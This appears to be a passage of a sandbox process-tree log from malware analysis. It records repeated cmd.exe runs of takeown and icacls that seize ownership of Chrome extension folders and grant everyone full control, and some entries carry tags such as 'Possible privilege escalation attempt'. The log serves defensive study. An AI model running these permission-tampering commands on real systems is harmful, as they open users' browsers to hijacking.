- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW /grant everyone:(f)
  2⤵
  PID:4600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zh_TW
    3⤵
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu /grant everyone:(f)
  2⤵
  PID:4452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_locales\zu
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata /grant everyone:(f)
  2⤵
  PID:4592
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.80.1_0\_metadata
    3⤵
    PID:752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda /grant everyone:(f)
  2⤵
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 /grant everyone:(f)
  2⤵
  PID:4272
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
    3⤵
    PID:1172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css /grant everyone:(f)
  2⤵
  PID:2576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
    3⤵
    PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html /grant everyone:(f)
  2⤵
  PID:4356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images /grant everyone:(f)
  2⤵
  PID:1860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images
    3⤵
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales /grant everyone:(f)
  2⤵
  PID:2028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg /grant everyone:(f)
  2⤵
  PID:1020
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca /grant everyone:(f)
  2⤵
  PID:1680
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs /grant everyone:(f)
  2⤵
  PID:3360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\cs
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da /grant everyone:(f)
  2⤵
  PID:1316
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\da
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de /grant everyone:(f)
  2⤵
  PID:1508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de
    3⤵
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\el && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\el /grant everyone:(f)
  2⤵
  PID:2080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\el
    3⤵
    PID:888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en
    3⤵
    PID:4144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB /grant everyone:(f)
  2⤵
  PID:2312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es /grant everyone:(f)
  2⤵
  PID:1208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419 /grant everyone:(f)
  2⤵
  PID:3916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\es_419
    3⤵
    PID:4912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et /grant everyone:(f)
  2⤵
  PID:4288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\et
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi /grant everyone:(f)
  2⤵
  PID:4752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi
    3⤵
    PID:4400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil /grant everyone:(f)
  2⤵
  PID:3120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fil
    3⤵
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr /grant everyone:(f)
  2⤵
  PID:3724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fr
    3⤵
    PID:4724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi /grant everyone:(f)
  2⤵
  PID:2960
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hi
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr /grant everyone:(f)
  2⤵
  PID:3868
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hr
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu /grant everyone:(f)
  2⤵
  PID:924
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\hu
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id /grant everyone:(f)
  2⤵
  PID:3988
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\id
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it /grant everyone:(f)
  2⤵
  PID:1128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\it
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja /grant everyone:(f)
  2⤵
  PID:932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ja
    3⤵
    PID:696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko /grant everyone:(f)
  2⤵
  PID:4144
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ko
    3⤵
    PID:3792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt /grant everyone:(f)
  2⤵
  PID:944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lt
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv /grant everyone:(f)
  2⤵
  PID:5060
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\lv
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb /grant everyone:(f)
  2⤵
  PID:2544
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nb
    3⤵
    - Modifies file permissions
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl /grant everyone:(f)
  2⤵
  PID:3444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\nl
    3⤵
    - Possible privilege escalation attempt
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl /grant everyone:(f)
  2⤵
  PID:4024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pl
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR /grant everyone:(f)
  2⤵
  PID:3120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_BR
    3⤵
    PID:4788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT /grant everyone:(f)
  2⤵
  PID:4944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\pt_PT
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro /grant everyone:(f)
  2⤵
  PID:3240
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro
    3⤵
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru /grant everyone:(f)
  2⤵
  PID:2248
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ru
    3⤵
    PID:3516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk /grant everyone:(f)
  2⤵
  PID:1104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sk
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl /grant everyone:(f)
  2⤵
  PID:4088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sl
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr /grant everyone:(f)
  2⤵
  PID:1128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sr
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv /grant everyone:(f)
  2⤵
  PID:1512
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\sv
    3⤵
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th /grant everyone:(f)
  2⤵
  PID:4200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\th
    3⤵
    PID:4468
- C:\Windows\System32\cmd.exe
